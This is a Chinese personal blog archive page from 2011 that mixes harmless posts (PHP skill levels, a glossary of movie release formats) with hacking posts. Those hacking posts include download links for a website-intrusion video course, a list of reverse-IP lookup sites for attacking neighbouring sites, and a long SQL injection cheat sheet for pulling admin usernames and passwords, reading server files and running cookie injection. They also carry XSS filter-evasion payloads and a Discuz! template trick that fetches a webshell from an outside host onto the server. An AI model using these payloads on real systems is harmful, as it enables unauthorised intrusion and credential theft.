讨论一下PHP相关技能的层次

2011年6月4日 Icedroid 没有评论
1、PHP编程能力
由于PHP的入门较为简单,所以暂时只有熟悉和精通两个级别。
1、熟悉PHP:精通PHP语法,掌握常用的函数,熟悉PHP5下的OOP应用,这个是基础,也没什么好说的。
2、精通PHP:对PHP运行机制的理解;对系统资源的调用交互理解;关健性能的优化能力。
2、MySQL能力
在开发上的应用基于几个能力体现:
1、了解:知道用PHP连接数据库;懂得写一些简单的SQL;建一些简单的索引;懂得用工具简单操作一下数据库(增删改库表结构数据等等)。
2、熟悉:懂得在开发应用上设计数据库,建立一些有效的索引,用explain分析SQL性能,压力测试等等。
3、很熟悉:深入了解数据库索引、存储引擎原理以及运行机制,能有效地构建高性能可扩展的数据库结构/架构,有效地优化数据库性能配置并加以调试,分析数据库运行状态。
4、精通:简单地说具备以上所有能力的同时,有多年高负载分布式环境下的优化管理经验。
据我观察以及交往经验,70%的PHPer处在了解阶段,25%处于熟悉阶段,>4%很熟悉,精通的人基本就不是phper了。
70%这个群体最容易忽视MySQL,以为MySQL只是简单的存储媒介,没有优化意识,认为加个内存、CPU就能解决问题。
典型事件:join、order by、group by等语句性能一塌糊涂,数据库根本没有设计(仅限于拆成一个主表,N个附表等),搞不清字段类型及作用,碰到大表的复杂查询就没辙。
20%这个群体的人只是MySQL运行机制理解不透彻,对影响MySQL性能的关健因素把握不明确,不熟练。
典型事件:熟读手册,但说不清索引原理,不知道二叉树、HASH等算法对于数据库的作用
>4%的群体已经基本可以胜任DBA的职能。
3、OOP能力
1、了解:了解变量的作用域、类型,及其意义,了解继承机制等,懂得复用、封装概
念。
2、熟悉:熟练应用接口、抽象等技术混合开发程序,并理解其中含义,一般研究过JAVA。
3、很熟悉:有过OOP架构设计经验,熟悉设计模式、UML,熟悉PHP对象运行机制,内容管理等。
4、精通:应该是架构师级别了,不限于PHP。
经常我们会碰到一些自称熟悉OOP却连public、private、protected、static都解释不清的人,是肯定没有经历过正规的OOP项目。
4、大型网站经验
1、了解:熟悉PHP开发下的缓存应用(memcache、APC等);接触过LVS、SQUID应用;
有一定的session处理方案;熟悉负载均衡;熟悉PHP数据连接池应用;了解PHP编程性能优化。
2、熟悉:掌握分布式缓存及缓存性能优化、熟悉存储系统、文件系统、数据库,开发可扩展平台。能结合负载均衡合理布置流量,对PHP运行性能进行监控与分析。
3、非常熟悉:具备系统分析师能力,已经超出phper环节…
4、精通:太深奥..
5、操作系统应用能力
操作系统的熟悉与精通需要需要广泛且扎实的基础理论,而对于开发者来说,熟悉基本的命令操作,对WEB相关服务的安装、配置、优化能力需要具备。
Share
分类: PHP 标签: , ,

你还在盲目的下电影吗?各种电影版本介绍

2011年6月4日 Icedroid 没有评论

如果你常常望着电影视频文件那一大长串的字母不知所措,不知道他们当中的每一个后缀分别代表了什么样的含义,哪个版本是最好的,那就来看看这篇文章吧。这里是本人从网上收集而来的有关电影版本方方面面的信息,希望能够对您有所帮助。

1.CAM(枪版)——珍爱生命,远离枪版
CAM通常是用数码摄像机从电影院盗录。有时会使用小三角架,但大多数时候不可能使用,所以摄像机会抖动。因此我们看到画面通常偏暗人物常常会失真,下方的字幕时常会出现倾斜。 由于声音是从摄像机自带的话筒录制,所以经常会录到观众的笑声等声音。因为这些因素,图象和声音质量通常都很差。
举例说明:Journey.To.The.Center.Of.The.Earth.CAM.XViD-CAMERA(地心游记3D枪版

2.TS——只比枪版好一点

TS与CAM版的标准是相同的。 但它使用的是外置音源(一般是影院座椅上为听力不好的人设的耳机孔)这个音源不能保证是好的音源,因为受到很多背景噪音的干扰。TS是在空的影院或是用专业摄像机在投影室录制,所以图象质量可能比CAM好。但画面的起伏很大。常出现的有一般TS版和经过修复清晰TS版。
举例说明:Iron.Man.PROPER.TS.XviD-iLG(钢铁侠TS版)

3.TC——基本也可以忽略
TC使用电视电影机从胶片直接数字拷贝。画面质量还不错,但亮度不足,有些昏暗。很多时候制作TC使用的音源来自TS,因此音质很差,但画面质量远好过TS。如果不是太讲究的话TC版还是不错的选择。
举例说明:Madagascar.2005.TC.XviD.AC3.avi(马达加斯加TC版)

4.DVDSCR——最差也要看这个
预览版的或者是测试版的DVD,非正式出版的版本。从预览版 DVD 中获取,通过mpeg-4技术进行高质量压缩的视频格式。能比DVDRip早发布,但画质稍差。(经常有一些不在黑边里在屏幕下方滚动的消息,包含版权和反盗版电话号码 ,会影响观看。)如果没有严格的划分它的画质应与TC版差不多。
举例说明:Quantum.of.Solace.REPACK.DVDSCR.XviD-COALiTiON.avi(007大破量子危机DVDSCR版)

5.DVDRIP——比较理想的版本
DVDRIP:是从最终版的DVD转制。质量应该是最好的。将DVD的视频、音频、字幕剥离出来,再经过压缩或者其他处理,然后重新合成成多媒体文件。一般来说,DVDrip由影音文件(后缀为avi)和字幕文件组成。
举例说明: Pineapple.Express.2008.DVDRip.XviD-ARROW.avi(菠萝快车DVDRip版)

6.HR-HDTV——不错的选择
HR-HDTV是用DivX/XviD/x264等MPEG4压缩技术对HDTV的视频图像进行高质量压缩,然后将视频、音频部分封装成一个.avi或.mkv文件,最后再加上外挂的字幕文件而形成的视频格式。 画面清晰度更高。

7.HDRIP——BD之下,万人之上
HDRIP=HD-DVD Rip,即HD-DVD高清转制,效果好于一般的高清转制。
举例说明:Stardust.2007.HDRip.x264.a720.AC3-C@SiLU.mkv(星尘HDrip版)

8.BDRIP——高清之下,普通清晰度的王者
BDrip = Blue-ray Disc Rip,即蓝光高清转制,效果比HDRIP还要好。
举例说明:Awake.2007.BDRip.X264-TLF.mkv(夺命手术BDrip版)

9.R5——心急的您可以看这个
R5一般大都是俄罗斯5区版,由于北美大片在俄罗斯发行的语种经常配音为俄罗斯语,因此网络上会出现采用R5的视频+枪版TS的英语原声音频=合成版本(所以音效差),当然,也经常有未配音过音效好的R5,遇到合成版本,在发布时会特别注明音效。
举例说明:Get.Smart.R5.LINE.XViD-mVs.avi(糊涂侦探R5版)

10.AVI——廉颇老矣
AVI英文全称为Audio Video Interleaved,即音频视频交错格式。是将语音和影像同步组合在一起的文件格式。它对视频文件采用了一种有损压缩方式,但压缩比较高,因此尽管面面质量不是太好,但其应用范围仍然非常广泛。(就目前来看,随着观众对电影品质要求的提升,AVI格式越来越力不从心了)
举例说明:Breaking.News.2004.DVDRip.XViD-TLF.avi(大事件avi格式版本)

11.MKV——后起之秀
一种后缀为MKV的视频文件频频出现在网络上,它可在一个文件中集成多条不同类型的音轨和字幕轨,而且其视频编码的自由度也非常大,可以是常见的DivX、XviD、3IVX,甚至可以是RealVideo、QuickTime、WMV这类流式视频。实际上,它是一种全称为Matroska的新型多媒体封装格式,这种先进的、开放的封装格式已经给我们展示非常好的应用前景,甚至有人把它看成是AVI的替代者!
举例说明:Children.Of.Man.2006.BDRE.1080p.x264.AC3-SiLUHD.mkv(人类之子MKV封装版本)

12.MOV——高清预告片首选
MOV即QuickTime影片格式,它是Apple公司开发的一种音频、视频文件格式,用于存储常用数字媒体类型,如音频和视频。当选择 QuickTime (*.mov)作为“保存类型”时,动画将保存为 .mov 文件。
现在MOV格式常常被用来制作高清电影预告片,可以达到1080P的所谓全高清标准。
举例说明:terminatorsalvation-tlr1_h1080p.mov(终结者4高清预告片)

13.XviD——常见标准
最常用的MPEG-4视频压缩编码格式,我们下载的很多电影基于这种编码。
举例说明:Connected.2008.DVDRip.XviD-BiEN.avi(保持通话,xvid编码)

14.X264——业界先锋
x264是一种免费的、具有更优秀算法的H.264/MPEG-4 AVC视频压缩编码格式。它同xvid一样都是开源项目,但x264是采用H.264标准的,而xvid是采用MPEG-4早期标准的。由于H.264是2003年正式发布的最新的视频编码标准,因此,在通常情况下,x264压缩出的视频文件在相同质量下要比xvid压缩出的文件要小,或者也可以说,在相同体积下比xvid压缩出的文件质量要好。
举例说明:WALL.E.2008.BDRip.X264-TLF.mkv(机器人总动员,X264编码)

15.IMAX——所谓巨幕
有的电影会标注“IMAX”版本。那什么是IMAX呢?
IMAX(即Image Maximum的缩写,意为“最大影像”,汉语发音可读作“艾麦克斯”)是一种能够放映比传统胶片更大和更高解像度的电影放映系统。整套系统包括以IMAX规格摄制的影片拷贝、放映机、音响系统、银幕等。标准的IMAX银幕为22米宽、16米高,但完全可以在更大的银幕播放,而且迄今为止不断有更大的IMAX银幕出现。 今年的《功夫熊猫》就同时具有普通和IMAX两种版本。
举例说明:The.Dark.Knight.2008.IMAX.BDRip.X264-TLF.mkv(蝙蝠侠黑暗骑士IMAX版本)

16.MP4——比较尴尬
有的电影是MP4格式的,这代表着它采用了MPEG-4视频压缩编码,但是具体是哪一种编码格式并不确定,一般来说是DIVX或者XVID。总之感觉是个很鸡肋的格式,一般是用在掌上便携设备上,电脑用户不推荐。
举例说明:Friends.S01E01.The.One.Where.Monica.Gets.A.New.Roommate.iPod-mp4.chs-en.mp4(老友记第一季第一集,ipd专用版本,mp4格式)

17.TS——此TS非彼TS
这个TS代表的是文件后缀名为.TS的高清格式。这种格式的优点在于对硬件的要求不高,即使是1080P的电影这两年的家用电脑都可以轻松播放,不过缺点同样明显——超大的文件体积,动辄三四十个G。
举例说明:Silent.Hill.Blu-ray.REMUX.MPEG2.1080P.LPCM.DTS.Orbitlee@Silu.ts(寂静岭TS版,9碟,完全大小37.9G,单碟4.3G)

18.PROPER——竞争的结果
根据发布规则,最先发布Telesync (TS)的组织赢得(TS发布的)比赛。但是,如果这个发布版本质量很差,同时另一组织有另一TS版本(或质量更好的同一片源),那么标记PROPER被加到目录上以避免重复。PROPER是一个最主观的标记,很多人会争论是否PROPER比原始发布版本好。很多发布组织只不过因为输掉了发布比赛而发布PROPER。发布PROPER的原因应该总是包含在NFO文件里。
举例说明:Pirates.Of.The.Caribbean.At.Worlds.End.PROPER.DVDRip.XviD-HooKah-CD1.avi(加勒比海盗3世界尽头proper版本)

19.Director’s Cut——导演剪辑版
导演剪辑版,主要用于碟片发行中,因为出于商业的、票房的原因,在影院上映的影片未必是导演最终剪辑后的版本。故而碟商们推出了所谓导演剪辑版,与影院版有所区别,也是为了满足一部分追求“原汁原味”的观众的要求,同时多了一条生财之道。导演剪辑版与影院版,有的差别较大(无论是放映时间还是镜头),有的则差别不大,因人因片而异。至于艺术成就,更是很难笼统而言。因为有人看重导演的主动权,但导演剪辑版也可能不如影院版更精炼,见仁见智而已。
举例说明:Saw.Director’s.Cut.HD.DVD.REMUX.VC1.1080p.DTS-HD.Silu.ts(电锯惊魂导演剪辑版)

20.Unrated——未分级版
也就是没有根据不同观众对象剪辑,比较完整、原始的版本。(俗称未剪版)。
指的是没有在MPAA(美国电影协会)审查的电影。现在指的是一般的电影的最初为剪辑版本。一般包括大量暴力色情粗口的。是导演最初剪出来的片子。经MPAA审了片子之后就会定级。诸如。R、NC-17、PG13、PG、G (越往后越合家欢)等。
举例说明:American.Psycho.Unrated.Version.2000.DVDrip.XviD.AC3.iNT.avi(美国狂魔未分级版)

21.LIMITED
LIMITED电影指该电影只在有限的电影院放映,通常少于250家。通常较小的电影(比如艺术电影)的发行是LIMETED。
举例说明:Eternal.2004.LiMiTED.DVDrip.XviD-ShysteR.avi(邪恶的永生limited版)

22.TVRIP——TV转制
所谓TVRip是从电视(最好是从数码有线电视/卫星电视捕捉)转制的电视剧及接收卫星接收到的节目,然后通过电视卡进行捕捉,压缩成文件,我们看的很多综艺及体育节目都是TVRip。有些电视剧也会使用TVRip的方式进行发布。

23. 720P
720P是美国电影电视工程师协会(SMPTE)制定的最高等级高清数字电视的格式标准,有效显示格式为:1280×720.SMPTE(美国电影电视工程协会)将数字高清信号数字电视扫描线的不同分为1080P、1080I、720P(i是interlace,隔行的意思,p是Progressive,逐行的意思)。720P是一种在逐行扫描下达到1280×720的分辨率的显示格式。是数字电影成像技术和计算机技术的融合。这是高清视频的最低标准。
举例说明:Le.Fabuleux.Destin.d’Amélie.Poulain.2001.Blu-ray.720p.x264.DD51-HiS@SiLUHD.mkv(天使爱美丽720P)

24. 1080I
即1080线隔行扫描,分辨率为1920×1080,仅次于1080P
举例说明:close.encounters.of.the.third.kind.1080i.disk1.ts(第三类接触1080i版本)

25. 1080P
1080P是美国电影电视工程师协会(SMPTE)制定的最高等级高清数字电视的格式标准,有效显示格式为:1920×1080,像素数达到207.36万。
1080P带来的高画质给消费者带来的是真正的家庭影院的视听享受,由于它向下全面兼容其它高清格式,通用性非常强,保证了在未来十几年的时间里产品不会过时,具有很好的超前性。随着1080P片源的不断涌现,1080P产品的优势已经显现出来。
举例说明:Resident.Evil.HD.DVD.REMUX.1080p.MPEG-2.DTS-HD.F@Silu.disk1.ts(生化危机1,1080P版本)

26. REPACK——重新打包版
如果发布组织发布了一个坏的版本,他们会发布REPACK来解决这些问题。
举例说明:The.Eye.2008.REPACK.BDRip.X264-TLF-cd1.mkv(美版见鬼,repack版本)

27. REMUX——无损版
Remux的意思是无损的提取出HD-DVD 和 BluRay-DVD里面的视频数据和音频数据,封装到我们熟悉的TS或者AVI文件中。
HD-DVD和 Blu-Ray Rip、Re都是把原始的高清数据进行压缩和重编码,从1080P压缩到720P, 20G左右的片子压缩到了4.3G. 可在19、20、22寸的宽屏上看,但是上到大尺寸高分辩率的显示设备就能明显的看出区别了。大屏幕的朋友还是建议购买原始编码的Remux。
举例说明:The.Patriot.Extended.Cut.Blu-ray.REMUX.H264.1080P.DTS.LPCM.DD51.Fanxy@Silu.DISK1.ts(爱国者remux版本)

28.  Extended——加长版
情形和导演剪辑版类似,很多的加长版是用来圈钱的,有的干脆就是把花絮里的删除段落直接加进去,也就长了几分钟而已。也有很厚道的,比如指环王的加长版,一部就加长了近50分钟,肯定对剧情有影响的。
举例说明:The.Lord.Of.The.Rings-Return.Of.The.King.EXTENDED.EDITION.DVDRip.XViD-ALLiANCE.avi(指环王3:王者归来加长版)

29. AC3
常见的电影音频格式。
举例说明:Crank.2006.DVDRip.XviD.AC3-lsqh2002.avi(怒火攻心,音频格式AC3)

30. DD5.1——杜比5.1声道
5.1声道就是使用5个喇叭和1个超低音扬声器来达到一种身临其境感觉的音乐播放方式,由杜比公司开发。一般来讲,只有高清视频才采用这种音轨。
举例说明:The.Messenger.The.Story.of.Joan.of.Arc.Blu-ray.RE.1080.x264.DD51.SiLUHD-001.mkv(圣女贞德,音频部分DD5.1)

转自:

http://hi.baidu.com/165063140

 

Share
分类: EnjoyLife 标签:

萤火虫技术小组脚本入侵系列教程(语音)

2011年5月28日 Icedroid 没有评论

2010年09月09日 星期四 06:54

写的很详细,教程语音也很详细,免费给供大家学习

第一课脚本入侵动画:实验环境之虚拟机的搭建
教程下载地址:http://bbs.hack95.com/jhk/xuniji.rar
第二课脚本入侵动画:个人电脑优化配置推荐方案(上)
教程下载地址:http://bbs.hack95.com/jhk/diannao1.rar
续:脚本入侵动画:个人电脑优化推荐配置方案2(中)
教程下载地址:http://bbs.hack95.com/jhk/diannao2.rar
第三课脚本入侵动画:个人电脑优化推荐配置方案3(下)
教程下载地址:http://bbs.hack95.com/jhk/diannao3.rar
第四课(SQL注入漏洞原理分析及演示[上])
教程下载地址:http://bbs.hack95.com/jhk/sql4.rar
第五课(SQL注入漏洞原理分析及演示[下])
教程下载地址:http://bbs.hack95.com/jhk/sql5.rar
(1)脚本入侵技术概述分析一 8q ,6}mV
教程下载地址:http://bbs.hack95.com/jhk/jiaoben1.rar
(2)脚本入侵技术概述分析二
教程下载地址:http://bbs.hack95.com/jhk/jiaoben2.rar
(3)脚本入侵技术概述分析三
教程下载地址:http://bbs.hack95.com/jhk/jiaoben3.rar
第6课脚本入侵动画: 手工入侵时注入讲解
教程下载地址:http://bbs.hack95.com/jhk/zhuru.rar
(1)注入工具入侵实战演示一
教程下载地址:http://bbs.hack95.com/jhk/yanshi1.rar
(2)注入工具入侵实战演示二
教程下载地址:http://bbs.hack95.com/jhk/yanshi2.rar
第7课脚本入侵动画:暴库原理分析及%5c的简单说明和演示
教程下载地址:http://bbs.hack95.com/jhk/baoku1.rar

第8课脚本入侵动画:conn.asp爆库原理说明和演示
教程下载地址:http://bbs.hack95.com/jhk/baoku2.rar
第9课脚本入侵动画:经典万能密码’or’='or’入侵实战演示
教程下载地址:http://bbs.hack95.com/jhk/wanneng.rar
第10课脚本入侵动画:上传漏洞原理分析
教程下载地址:http://bbs.hack95.com/jhk/shang.rar
第十一课:上传漏洞的利用工具入侵网站拿webshell
教程下载地址:http://bbs.hack95.com/jhk/shell.rar
第十二课:跨站的经典利用及说明
教程下载地址:http://bbs.hack95.com/jhk/kuazhan.rar
第十三课:入侵网站的旁注原理及思路讲解
教程下载地址:http://bbs.hack95.com/jhk/pangzhu.rar
第十四课:黑课入侵的最常用手段及技巧
教程下载地址:http://bbs.hack95.com/jhk/jiqiao.rar
第十五课:利用挖掘机搜索批量入侵站点
教程下载地址:http://bbs.hack95.com/jhk/wajueji.rar
第十六课:入侵网站漏洞利用
教程下载地址:http://bbs.hack95.com/jhk/loudong.rar
第十七课:常用网站后台查找方法
教程下载地址:http://bbs.hack95.com/jhk/houtai.rar
第十八课:明小子批量入侵技巧
教程下载地址:http://bbs.hack95.com/jhk/piliang.rar
第十九课:入侵网站之MD5破解
教程下载地址:http://bbs.hack95.com/jhk/md5.rar
第二十课:入侵站点的cookies欺骗技巧
教程下载地址:http://bbs.hack95.com/jhk/qipian.rar
第二十一课:一句话木马简单讲解
教程下载地址:http://bbs.hack95.com/jhk/muma1.rar
第二十二课:一句话图片木马讲解
教程下载地址:http://bbs.hack95.com/jhk/tupian1.rar
第二十三课:本地网站的搭建
教程下载地址:http://bbs.hack95.com/jhk/iis.rar
第二十四课:上传工具使用及介绍
教程下载地址:http://bbs.hack95.com/jhk/scgj.rar
第二十五课:网络实战入侵的几种渗透方法
教程下载地址:http://bbs.hack95.com/jhk/wlsz.rar
第二十六课:社会工程学渗透讲解
教程下载地址:http://bbs.hack95.com/jhk/shgc.rar
第二十七课:webshell的详细讲解 !
教程下载地址:http://bbs.hack95.com/jhk/webshl.rar
第二十八课:各种网络钓鱼盗号例子及演示
教程下载地址:http://bbs.hack95.com/jhk/diaoyu.rar
第二十九课:WEBSHELL终极利用及使用
教程下载地址:http://bbs.hack95.com/jhk/wb.rar<

Share
分类: Hacker, 黑客教程 标签: ,

IP地址反查,查询同IP绑定站点数量

2011年5月28日 Icedroid 没有评论

2010年10月7日 流浪詩人

玩黑的朋友都知道旁注。旁注,顾名思义是从旁注入,也就是说同从一台服务器的其它站上下手,来达到我们入侵的目的。但是如何知道同一台服务器挂了多少个网站呢?有一些网站专门提供了这种服务,即通过IP或者域名可以查询出这台服务器中绑定的域名数量。同时通过这种方法,我们在选购虚拟主机空间时可以做相关参考,因为服务器中用户太多就会影响自己网站的网速,甚至会对自己的网站的安全存在威胁。所以你在购买虚拟主机的时候,也不妨先查查其同台服务器中放置网站的个数。

下面列出的这些网站,是我平时用的比较多的IP地址反查网站。

①、http://www.ip866.com 杭州安恒信息旗下网站,查询速度快,结果比较全。这也是我最常用的一个查询站。

②、http://www.114best.com/ip/ 中文站点,速度不错,似乎查询的结果不是很全(个人观点)。

③、http://www.webhosting.info 国外的一个专业站点,IP反查只是其网站一项功能,其它功能大家就自己到网站去查看。查询一般格式如:http://whois.webhosting.info/后加IP。明小子的“旁注入侵专用程序”就是使用这个站点的查询结果。

④、http://www.myipneighbors.com/ 英文站点,功能简洁,速度一般。

⑤、http://domainbyip.com/ 英文站点,速度还不错,查询结果比较全。

⑤、http://ip.wen.la/ 中文站点,速度不错。

⑥、http://chaxun.la 中文站点,速度不错,结果较全。

 

Share
分类: Hacker, tool 标签: , ,

脚本渗透精华

2011年5月28日 Icedroid 没有评论

2010年10月7日 流浪詩人

第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
数字型:and 1=1 and 1=2 判断是否存在注入
字符型:’ and ’1′=’1 ‘ and ’1′=’2
搜索型: 关键字%’ and 1=1 and ‘%’=’% 关键字%’ and 1=2 and ‘%’=’%
IIS报错情况下使用:
and user>0 (判断是ACCESS还是MSSQL)
不报错则使用各自数据库特性来判断
and (select count(*) from msysobjects)>0 (返回权限不足access数据库)
and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)
and db_name()>0 (返回数据库名)
and 0<>(select @@version)– (判断版本信息)
and db_name()>0 (返回数据库名)
************注意:猜解之前先要找到后台地址,不然白忙了**********
ACCESS注入:
猜解表名(正常则存在admin,不正常则不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0
猜解字段:(字段username存在则正常,不正常则不存在)
and (Select username from Admin)>0
and exists (select username from [admin])
猜解用户名和密码长度
and (select top 1 len(username) from Admin)>0
and (select top 1 len(password) from Admin)>0
原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.
猜解用户
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109,得到第一个字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。
注意的是英文和数字的ASCII码在1-128之间…
MSSQL注入:
having 1=1– 【爆出一个表名及字段,如:列 ‘users.ID’ 在选择列表中无效】
group by users.ID having 1=1–
group by users.ID, users.username, users.password, users.privs having 1=1–
; insert into users values( 666, attacker, foobar, 0xffff )– 【插入新记录】
猜解表名:
SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。
and (select top 1 name from sysobjects where xtype=’u’)>0 (得到第一个表名:比如user)
and (select top 1 name from sysobjects where xtype=’u’ and name not in (‘user’))>0 得到第二个表名,后面的以此类推。。
猜解列名:
用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects中的标识号,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id(‘admin’),1) from sysobjects)>0 【得到admin字段的第一个列名“username”依次类推,得到“password”“id”等等】
猜解字段内容:
and (select top 1 username from [admin])>0 【直接得到用户名】
and (select top 1 password from [admin])>0 【直接得到密码】
UNION联合查询:
select name,password,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5… from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)
ASCII逐字解码法:
1、猜解列长度
and (select top 1 len(列名)from 表名)>N
其中N是数字,变换这个N的值猜解列长度,当N为6正确,为7错误,则长度为7
猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
2、猜解用户和密码
ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码
猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码
区间判断语句:….between……and……
中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码
ASCII逐字解码法的应用:
1、猜解表名:and (select count(*) from admin)<>0
2、猜解列名:and (select count(列名) from 表名)<>0
3、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。
4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理员的密码:
按照上面的原理,把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到密码了。
MYSQL+PHP注入:
1.判断是否存在注入,加’;and 1=1 ;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,……./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6…. from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6…. from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段。
cookIE注入:
条件:ID=Request(“ID”),(WEB服务器是先去取GET中的数据,没有的话再取POST中的数据,还没有再去取CookIEs中的数据);未对cookIE进行过滤,那么就造成了cookIE注入。
*****用 Request.QueryString或Request.Form收集数据的话,是无法利用CookIEs注入的******
判断是否存在cookIE注入
例如:http://www.0daynet.com/1.asp?id=44
输入 http://www.0daynet.com/1.asp 显示不正常,因为没有输参数。
javascript:alert(document.cookIE=”id=”+escape(“44 and 1=1″));刷新页面,显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookIE=”id=”+escape(“44 and 1=2″));刷新一下页面,如果不正常显示,这就表示有注入了。
猜解长度:
javascript:alert(document.cookIE=”id=”+escape(“44 and (select len(password) from admin)=16″))
猜解内容:
javascript:alert(document.cookIE=”id=”+escape(“44 and (select asc(mid(username)) from admin)=97″))
PHP注入:
判断注入点:’;and 1=1 ‘;and 1=2
判断UNION:and ord(mid(version(),1,1))>51 返回正确则4.0可用UNION查询
利用order by 暴字段:order by n (n=1,2,3.. ) (当n为3正确,4错误是,则3个字段)
利用union来查询准确字段:and 1=1 union select 1,2,3,……. (当返回正常时,就说明猜到准确字段数=最后一个数)
判断数据库连接帐号有没有写权限:and (select count(*) from mysql.user)>0(如果返回错误,我们就猜管理员的帐号密码,如果返回正常,则可以通过
and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 [注意:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件])
猜解表:and 1=2 union select 1,2,3,4,5,6…. from user (回正常,说明存在这个表)
猜字段:and 1=2 union select 1,username,3,4,5,6…. from user (同样道理,自己替换,如果在2字段显示出字段内容则存在些字段)
同理再猜解password字段.
跨站:
<script>alert(“跨站”)</script> (最常用)
<img scr=javascript:alert(“跨站”)></img>
<img scr=”javascript: alert(/跨站/)></img>
<img scr=”javas????cript:alert(/跨站/)” width=150></img> (?用tab键弄出来的空格)
<img scr=”#” onerror=alert(/跨站/)></img>
<img scr=”#” style=”amxking:e-xpression(alert(/amxking/));”></img>
<img scr=”#”/* */onerror=alert(/amxking/) width=150></img> (/**/ 表示注释)
<img src=vbscript:msgbox (“amxking”)></img>
<style> input {left:e-xpression (alert(‘amxking’))}</style>
<div style={left:e-xpression (alert(‘amxking’))}></div>
<div style={left:exp/* */ression (alert(‘amxking’))}></div>
<div style={left:\0065\0078ression (alert(‘amxking’))}></div>
html 实体 <div style={left:&#x0065;xpression (alert(‘amxking’))}></div>
unicode <div style=”{left:expRessioN (alert(‘amxking’))}”>

原创文章,转载请注明: 转载自诗人博客

 

Share
分类: Hacker, 脚本渗透 标签:

Discuz!后台拿webshell万能方法

2011年5月27日 Icedroid 没有评论

2010年10月7日 流浪詩人

Discuz! 后台拿webshell万能方法:

前提条件:要拿到论坛管理员的密码,能够编辑模板文件

步骤:
1. 找一个空间上传一个wehsehll,注意这个webshell不要让服务器解析,一般使用txt文件就可以了。地址如:http://www.bluenoob.com/webshell.txt

2.随便选择一个模板(如:my),然后在任意位置输入:
PHP代码

1
{eval copy('http://www.bluenoob.com/webshell.txt', DISCUZ_ROOT.'./forumdata/webshell.php');}

3.保存,然后更新论坛缓存,更新模板缓存

4.访问该模板所属的php文件(如:my.php)

5.把模板修改成原始状态
这样一个webshell就生成了,地址是:http://论坛地址/forumdata/webshell.php

原创文章,转载请注明: 转载自诗人博客

本文链接地址: Discuz!后台拿webshell万能方法

Share
分类: Hacker 标签:

SQL INJECTION的终极利器opendatasource和openrowset

2011年5月24日 Icedroid 没有评论

作者:LCX

目前市面上的SQL INECTION工具很多,最受推崇的当属NBSI了。SQL INECTION的方法在网上是也是满天飞,大家仔细学一下都会很快的成为脚本入侵高手。可是无论是工具,还是众多方法,猜SQL数据的时候原理不外乎两种。一个是对方的WEB服务器在没有关闭错误提示的时候是用让SQL出错来暴出想要的信息;一个是在对方的WEB服务器关闭错误提示的时候采用ASCII码拆半分法分析。当关闭错误提示的时候,这时来猜数据就很慢了,遇到网速蜗牛的时候真是急死人,NBSI此时还经常会出现猜解错误是否要重试的警告对话框。如果我来告诉你,有了opendatasource和openrowset这两个函数,一切问题都应刃而解了。
